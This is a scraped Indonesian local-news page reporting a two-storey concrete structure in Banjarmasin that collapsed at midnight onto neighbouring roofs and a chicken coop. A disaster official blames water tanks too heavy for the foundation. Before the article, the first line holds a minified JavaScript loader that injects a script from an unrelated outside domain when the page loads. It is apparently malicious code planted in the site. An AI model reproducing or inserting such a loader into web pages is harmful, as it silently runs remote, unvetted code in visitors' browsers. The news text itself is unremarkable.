(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Insiden bangunan rumah ambruk kembali terjadi di wilayah Kota Banjarmasin. Kali ini terjadi di jalan Akasi RT 2 RW 1, Kelurahan Pemurus Baru, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.
Monica (40) bersama keluarga yang tengah beristirahat pada Rabu (3/5/2023) sekitar pukul 00.00 Wita, dikejutkan suara keras di bagian belakang rumah.
“Sekitar pukul 12 malam tadi kebetulan saya belum tidur, tiba-tiba terdengar suara brak,” ucap Monica.
Padahal dikatakannya, saat kejadian itu cuaca cerah dan tidak ada hujan ataupun angin kencang.
Baca juga: 21 Kontrakan Dua Gang di Kampung Gadang Nyaris Rata Tanah
Pantauan Kanalkalimantan.com pada Rabu (3/5/2023) siang, bangunan belakang rumah yang terbuat dari beton tersebut ambruk dan menimpa dua buah rumah tetangga.
Selain itu, sebuah kandang ayam yang berada di belakang bangunan juga terkena imbas ambruknya bangunan rumah beton tersebut.
“Di belakang situ ada kandang ayam kena juga. Kalau yang rumah tetangga hanya bagian atapnya,” kata Monica, pemilik rumah ambruk.
Beruntung, tidak ada korban pada kejadian ambruknya bangunan pada waktu tengah malam tersebut.
Karena menurut pemilik rumah, ruangan yang ambruk itu hanya dijadikan sebagai tempat meletakan mesin genset dan bagian atasnya untuk tandon air.
Baca juga: Momentum Hari Buruh, Ini Harapan Wakil Ketua Komisi II DPRD Kapuas
Dua buah rumah warga dan satu kandang ayam yang terkena imbas bangunan runtuh tersebut mengalami kerusakan kecil.
“Rencananya mau kami robohkan dulu bangunannya ini, baru nanti diperbaiki rumah tetangga yang rusak,” kata Monica.
Sementara itu, setelah menerima laporan, tim BPBD Kota Banjarmasin langsung melakukan pengecekan ke lokasi kejadian dan melakukan pendataan.
Menurut Kordinator Lapangan 1 BPBD Banjarmasin Akhdiat Yoshida, diduga terjadi over kapasitas atas penyebab ambruknya bangunan dua lantai tersebut.
Karena menurut Akhdiat, di atas bangunan tersebut dijadikan tempat untuk meletakan dua buah tandon air yang ukuranya tidak sesuai dengan kekuatan pondasi bangunan.
“Masalahnya pondasi bawah itu tidak sesuai dengan kapasitas tandon 1.200 liter sebanyak dua buah,” kata Akhdiat.
Korlab 1 BPBD Banjarmasin ini pun mengimbau kepada warga Banjarmasin yang ingin membangun rumah atau bangunan apapun untuk memperhatikan dan memastikan kekuatan pondasi bangunan.
Baca juga: Pemko Banjarbaru Terus Perkuat Implementasi SPBE
Apalagi menurutnya, kontur tanah di kota Banjarmasin yang sebagian besar rawa atau gambut semakin membuat rumah beresiko ambruk jika pondasi tidak kuat.
“Kalau mau membangun rumah dengan dua lantai, alangkah baiknya dikuatkan dulu pondasinya,” imbaunya.
“Kalau pondasinya sudah kuat, mau tiga lantai pun tidak masalah” tutup Akhdiat. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.